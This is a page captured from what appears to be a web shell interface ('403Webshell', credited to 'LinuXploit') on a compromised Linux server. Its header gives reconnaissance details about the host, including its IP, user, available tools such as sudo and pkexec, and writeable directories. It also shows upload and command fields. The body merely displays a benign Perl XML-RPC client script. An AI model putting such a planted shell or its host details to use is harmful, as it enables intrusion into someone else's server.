403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.216.171
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/bin/XMLRPCsh.pl
#!/bin/env perl 
#!d:\perl\bin\perl.exe 

# -- XMLRPC::Lite -- soaplite.com -- Copyright (C) 2001 Paul Kulchenko --

use strict;
use XMLRPC::Lite;
use Data::Dumper; $Data::Dumper::Terse = 1; $Data::Dumper::Indent = 1;

@ARGV or die "Usage: $0 endpoint [commands...]\n";
my $proxy = shift;
my %can;
my $xmlrpc = XMLRPC::Lite->proxy($proxy)->on_fault(sub{});
print STDERR "Usage: method[(parameters)]\n> ";
while (defined($_ = shift || <>)) {
  next unless /\w/;
  my($method, $parameters) = /^\s*([.\w]+)(.*)/;
  $can{$method} = $xmlrpc->can($method) unless exists $can{$method};
  my $res = $method =~ /\./ ? eval "\$xmlrpc->call(\$method, $parameters)" : eval "\$xmlrpc->$_";
  $@                               ? print(STDERR join "\n", "--- SYNTAX ERROR ---", $@, '') :
  $can{$method} && !UNIVERSAL::isa($res => 'XMLRPC::SOM')
                                   ? print(STDERR join "\n", "--- METHOD RESULT ---", $res || '', '') :
  defined($res) && $res->fault     ? print(STDERR join "\n", "--- XMLRPC FAULT ---", @{$res->fault}{'faultCode', 'faultString'}, '') :
  !$xmlrpc->transport->is_success  ? print(STDERR join "\n", "--- TRANSPORT ERROR ---", $xmlrpc->transport->status, '') :
                                     print(STDERR join "\n", "--- XMLRPC RESULT ---", Dumper($res->paramsall), '')
} continue {
  print STDERR "\n> ";
}

__END__

=head1 NAME

XMLRPCsh.pl - Interactive shell for XMLRPC calls

=head1 SYNOPSIS

  perl XMLRPCsh.pl http://betty.userland.com/RPC2 
  > examples.getStateName(2)
  > examples.getStateNames(1,2,3,7)
  > examples.getStateList([1,9])
  > examples.getStateStruct({a=>1, b=>24})
  > Ctrl-D (Ctrl-Z on Windows)

or

  # all parameters after uri will be executed as methods
  perl XMLRPCsh.pl http://betty.userland.com/RPC2 examples.getStateName(2)
  > Ctrl-D (Ctrl-Z on Windows)

=head1 DESCRIPTION

XMLRPCsh.pl is a shell for making XMLRPC calls. It takes one parameter,
endpoint (actually it will tell you about it if you try to run it). 
Additional commands can follow.

After that you'll be able to run any methods of XMLRPC::Lite, like autotype, 
readable, etc. You can run it the same way as you do it in 
your Perl script. You'll see output from method, result of XMLRPC call,
detailed info on XMLRPC faulure or transport error.

For full list of available methods see documentation for XMLRPC::Lite.

Along with methods of XMLRPC::Lite you'll be able (and that's much more 
interesting) run any XMLRPC methods you know about on remote server and
see processed results. You can even switch on debugging (with call 
something like: C<on_debug(sub{print@_})>) and see XMLRPC code with 
headers sent and received.

=head1 COPYRIGHT

Copyright (C) 2000 Paul Kulchenko. All rights reserved.

=head1 AUTHOR

Paul Kulchenko (paulclinger@yahoo.com)

=cut

Youez - 2016 - github.com/yon3zu
LinuXploit